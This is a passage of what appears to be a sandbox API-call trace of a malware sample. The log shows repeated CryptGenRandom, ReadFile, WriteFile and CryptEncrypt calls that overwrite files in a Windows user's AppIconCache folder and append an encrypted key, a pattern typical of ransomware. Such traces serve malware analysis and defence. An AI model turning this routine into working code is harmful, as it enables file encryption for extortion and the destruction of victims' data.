pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.922] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.922] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{530FD476-4A81-49DE-B228-C202EACB8F92}", dwFileAttributes=0x80) returned 1 [0180.923] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{530FD476-4A81-49DE-B228-C202EACB8F92}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{530fd476-4a81-49de-b228-c202eacb8f92}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.923] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.923] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.924] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.925] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.925] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.925] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.925] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.925] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.925] CloseHandle (hObject=0x1af4) returned 1 [0180.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.927] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5202C284-5887-45AA-A00F-FDE7E88E85ED}", dwFileAttributes=0x80) returned 1 [0180.928] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5202C284-5887-45AA-A00F-FDE7E88E85ED}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5202c284-5887-45aa-a00f-fde7e88e85ed}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.928] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.928] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.929] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.929] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.930] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.930] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.930] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.930] CloseHandle (hObject=0x1af4) returned 1 [0180.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.932] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{51B0B7BF-2B1A-4FE9-8814-408CD303875D}", dwFileAttributes=0x80) returned 1 [0180.932] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{51B0B7BF-2B1A-4FE9-8814-408CD303875D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{51b0b7bf-2b1a-4fe9-8814-408cd303875d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.932] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.932] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.939] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.939] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.939] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.940] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.940] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.940] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.940] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.940] CloseHandle (hObject=0x1af4) returned 1 [0180.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.942] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}", dwFileAttributes=0x80) returned 1 [0180.943] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4e7056c1-8f8c-45de-873f-dc08fdd509fd}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.943] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.943] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.944] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.944] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.944] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.945] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.945] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.945] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.945] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.945] CloseHandle (hObject=0x1af4) returned 1 [0180.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.947] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4DC87667-8E09-4718-960C-CACE353718FC}", dwFileAttributes=0x80) returned 1 [0180.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4DC87667-8E09-4718-960C-CACE353718FC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4dc87667-8e09-4718-960c-cace353718fc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.948] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.948] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.949] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.949] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.950] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.950] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.950] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.950] CloseHandle (hObject=0x1af4) returned 1 [0180.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.953] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4CCC5AFB-555C-44D5-892C-F0F2617C631D}", dwFileAttributes=0x80) returned 1 [0180.953] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4CCC5AFB-555C-44D5-892C-F0F2617C631D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4ccc5afb-555c-44d5-892c-f0f2617c631d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.954] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.954] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.955] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.955] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.955] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.955] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.956] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.956] CloseHandle (hObject=0x1af4) returned 1 [0180.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.957] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}", dwFileAttributes=0x80) returned 1 [0180.957] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4bcd2f54-44ae-4e42-b58f-3090783a3ec4}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.958] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.958] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.959] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.959] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.959] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.960] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.960] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.960] CloseHandle (hObject=0x1af4) returned 1 [0180.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.961] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}", dwFileAttributes=0x80) returned 1 [0180.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4a8a0b51-d1cb-4b42-a15c-6a3f7956552d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.962] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.962] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.963] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.963] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.963] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.964] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.964] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.964] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.964] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.964] CloseHandle (hObject=0x1af4) returned 1 [0180.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.966] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.966] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3DB05D28-F3C3-449E-B7A6-31F664B2660E}", dwFileAttributes=0x80) returned 1 [0180.966] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3DB05D28-F3C3-449E-B7A6-31F664B2660E}" (normalized: 